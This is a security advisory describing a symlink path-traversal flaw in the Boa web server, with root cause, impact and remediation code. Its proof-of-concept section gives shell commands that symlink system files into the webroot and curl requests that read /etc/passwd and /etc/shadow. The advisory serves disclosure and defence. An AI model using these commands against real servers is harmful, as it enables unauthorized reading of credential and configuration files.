Boa Web Server - Symlink Path Traversal
Summary
| Attribute | Value |
|---|---|
| Vulnerability Type | Symlink Path Traversal |
| CWE | CWE-59: Improper Link Resolution Before File Access |
| Affected Software | Boa Web Server 0.94.13, 0.94.14rc21 |
| Severity | HIGH |
| Attack Vector | Network (requires symlink in webroot) |
Vulnerability Description
Boa Web Server follows symbolic links without any validation or restriction. While direct path traversal using ../ sequences is blocked, an attacker with write access to the web root (or exploiting another vulnerability) can create symlinks pointing to sensitive files outside the document root.
The server will happily serve the contents of any file the web server process can read, including /etc/passwd, /etc/shadow (if readable), configuration files, and other sensitive data.
Root Cause
Boa resolves file paths and follows symbolic links without checking if the final resolved path is still within the configured document root. The vulnerability exists because:
- No
realpath()validation after symlink resolution - No check that resolved path starts with DocumentRoot
- No option to disable symlink following
Proof of Concept
Step 1: Create a symlink in the web root pointing to a sensitive file:
# Create symlink to /etc/passwd
ln -sf /etc/passwd /var/www/html/passwd_link
# Create symlink to entire /etc directory
ln -sf /etc /var/www/html/etc_link
Step 2: Request the symlink via HTTP:
curl http://target:8877/passwd_link
Output (Proof of Exploitation):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Directory traversal via symlink:
curl http://target:8877/etc_link/shadow
Impact
- Information Disclosure: Read any file accessible to the web server process
- Credential Theft: Access to /etc/passwd, potentially /etc/shadow
- Configuration Exposure: Read application configs, database credentials
- Source Code Disclosure: Read application source code outside webroot
Affected Versions
| Version | Status |
|---|---|
| Boa 0.94.13 | Vulnerable |
| Boa 0.94.14rc21 | Vulnerable |
Remediation
Recommended fixes:
// Option 1: Use realpath() and validate
char *resolved = realpath(requested_path, NULL);
if (resolved == NULL || strncmp(resolved, document_root, strlen(document_root)) != 0) {
return 403; // Forbidden
}
// Option 2: Use O_NOFOLLOW flag
int fd = open(path, O_RDONLY | O_NOFOLLOW);
// Option 3: Check with lstat() before serving
struct stat st;
if (lstat(path, &st) == 0 && S_ISLNK(st.st_mode)) {
return 403; // Reject symlinks
}
Timeline
| 2026-01-26 | Vulnerability discovered via Deductive Engine |
| 2026-01-29 | PoC validated with Valgrind testing |
| - | Boa is unmaintained (last release 2005) |